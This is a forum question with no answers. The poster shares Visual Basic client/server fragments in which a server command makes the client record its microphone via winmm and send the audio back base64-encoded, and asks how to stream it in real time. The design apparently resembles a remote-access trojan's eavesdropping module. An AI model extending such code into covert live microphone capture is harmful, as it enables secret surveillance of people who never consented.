How can I stream the microphone in real-time?

Viewed 213

I have a program I'm writing which has a Server and a Client to communicate with each other to stream a microphone in real-time.

This is how it works

  1. The user opens the client.exe, and their computer appears on the server, which is where I can operate the microphone (I'm NOT using this on other people).

  2. When I press "listen" I can hear the clients microphone.

This is the code I'm using to listen to the clients microphone

CLIENT APPLICATION

    Private Declare Function mmciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Integer, ByVal hwndCallback As Integer) As Integer

    Case "scream1"
                    mmciSendString("open new Type waveaudio Alias recsound", "", 0, 0)
                    mmciSendString("record recsound", "", 0, 0)
    Case "scream1stop"
                    mmciSendString("save recsound " + screamx, "", 0, 0)
                    mmciSendString("close recsound", "", 0, 0)
                    Dim n As New IO.FileInfo(screamx)
                    Comet.Send("scream2" & Yy & n.Name & Yy & Convert.ToBase64String(IO.File.ReadAllBytes(screamx)))
                    Comet.Send("screamf" & Yy & n.Name & Yy & Convert.ToBase64String(IO.File.ReadAllBytes(screamx)))
                    My.Computer.Audio.Stop()

SERVER APPLICATION

    Timer2.Enabled = True
    Timer3.Enabled = True

    Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick


            Form1.S.Send(xxx, "scream1")

            Timer1.Enabled = True
            Timer3.Enabled = False
            Timer3.Enabled = True
        End Sub

 Private Sub BunifuFlatButton3_Click(sender As Object, e As EventArgs) Handles BunifuFlatButton3.Click

        BunifuFlatButton2.Show()
        BunifuFlatButton3.Hide()

        Form1.S.Send(xxx, "scream1stop")
        Timer1.Enabled = False


        Timer2.Enabled = False
        Timer3.Enabled = False
    End Sub

Of course, there is other code which communicates with the server, but I don't think it's necessary at this point in time.

So, that code I provided you with, it listens for the microphone, but doesn't stream my own microphone. So, how can I do this?

Are there any good .dll add-ons for Visual Basic to do this task?

If I haven't made this clear enough, please comment below.

Thanks!

0 Answers
Related